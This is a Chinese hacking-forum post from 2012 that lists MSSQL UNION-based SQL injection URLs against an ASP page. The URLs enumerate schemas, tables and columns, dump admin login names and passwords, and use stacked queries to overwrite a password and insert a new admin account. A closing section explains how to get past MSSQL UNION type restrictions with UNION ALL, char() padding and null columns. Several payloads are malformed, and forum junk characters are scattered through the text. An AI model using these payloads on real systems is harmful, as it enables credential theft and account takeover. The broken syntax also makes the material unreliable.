找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1951|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:. y4 L! J# z4 v# k1 v
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--) {* B( f, B" P# A; c; m& g) {, t
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.! W/ F4 \6 [+ Q1 I& k0 P
爆下一个库:* k: a/ f! K$ K9 n
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--3 g) I$ _7 }# @- h" `  L

+ `6 b( K  B% d' n爆表:
- x; C; G6 g. V  n; _' ehttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
" w- {) j3 U' t9 \' p+ I+ V: q
0 `1 c+ i2 ]- j6 q, rSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.  K6 A, g) I6 W6 U) g8 F

& Q# I  M3 j4 T! ]爆下一个表
0 K" M1 O3 _$ P! e* |. Whttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
$ ^. ?5 Q- \, \# M9 Q0 T0 l! r2 ^7 d4 M) R
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--2 ?) f$ n' G7 C2 k* \

  K/ {6 F5 a! w8 {- T; R$ [, F. s

, N" J  s1 D: ]! u; `- p% C+ w9 j爆字段:8 E& c+ @4 \, U! v4 T( r; l
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
9 }) K  U0 G" W" o
8 N8 T: W7 C4 F1 y$ E爆下一个字段% q' [: a/ I' v, \& H3 r
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--8 R4 A8 G: w+ i% O9 s

# a, w7 M# m  C0 d! G& d, E+ Ghttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
! S+ |7 t8 t* u1 F% m7 T+ I8 @3 |% ?/ b! k0 p

& R( D, v* Z. A2 }1 Y4 S. w! s爆字段里的内容. c* d/ L) E/ e
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
8 N" J0 a( ^; M, T
9 t6 L: n# O( Q* J$ nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
4 e: [. l' A6 H( R* n& z( b
; ]" @2 B4 Q( ]* i/ B) D9 ]http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--  G* s6 v5 D' _0 C. p5 h' Q$ S
1 n6 D! M- g# P- k( A7 w
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
9 w0 Q) M. P' C, G4 T  J: Y
" F/ A/ s4 Z9 l6 X5 E3 [' h  }更新字段里的内容. z* O; P2 J+ H- i! h+ p# f
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--2 z# y4 L+ C* t4 \( a* c" T
5 s- i' q3 d( P* p& {5 J" k* X4 c
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
( B+ P! @! C/ t) a' v+ w7 s7 v+ a! D" l9 z. f$ d0 ]6 N2 V

4 J3 [" b/ {6 p" F! {4 E# a3 }3 n8 [: N/ J( N7 C4 w
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。. K+ w$ D! Y( c
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
4 R) q: ]/ [- F' ^    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。- h' ]7 Y% E4 }9 ^( W. L+ i* c6 w" C5 G
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。0 u* A, o( U+ {( ?: p# n7 R# n1 F

8 P" d9 Z1 L0 a; ?) Y突了了大部份限制的语句+ ~! b- G; M  p, ^# Y5 Z! K( R
and 1=2 union all select char(49),char(50),null,null;--, J1 Y0 k- _$ R$ h' t- Q7 ?3 S

; R/ r, v4 q# x/ p, f, s' ]0 G$ U9 I
) X$ T2 h& V8 `# R$ Znull也可以正常执行,不过没有回显,不好判断回显的列数。( _( p' b; b/ Y' e' V) p
一般union遇到问题都是有text或者ntext字段,image的很少遇到
; [( B% F  \' x2 d1 T+ q+ L
+ n1 z! G2 y- C% A可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
( G5 A7 m3 {* W, Q4 j  r+ q( }# [; G9 f- D9 [, `0 K
$ l+ C% T7 H$ A% N, C/ ]; X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表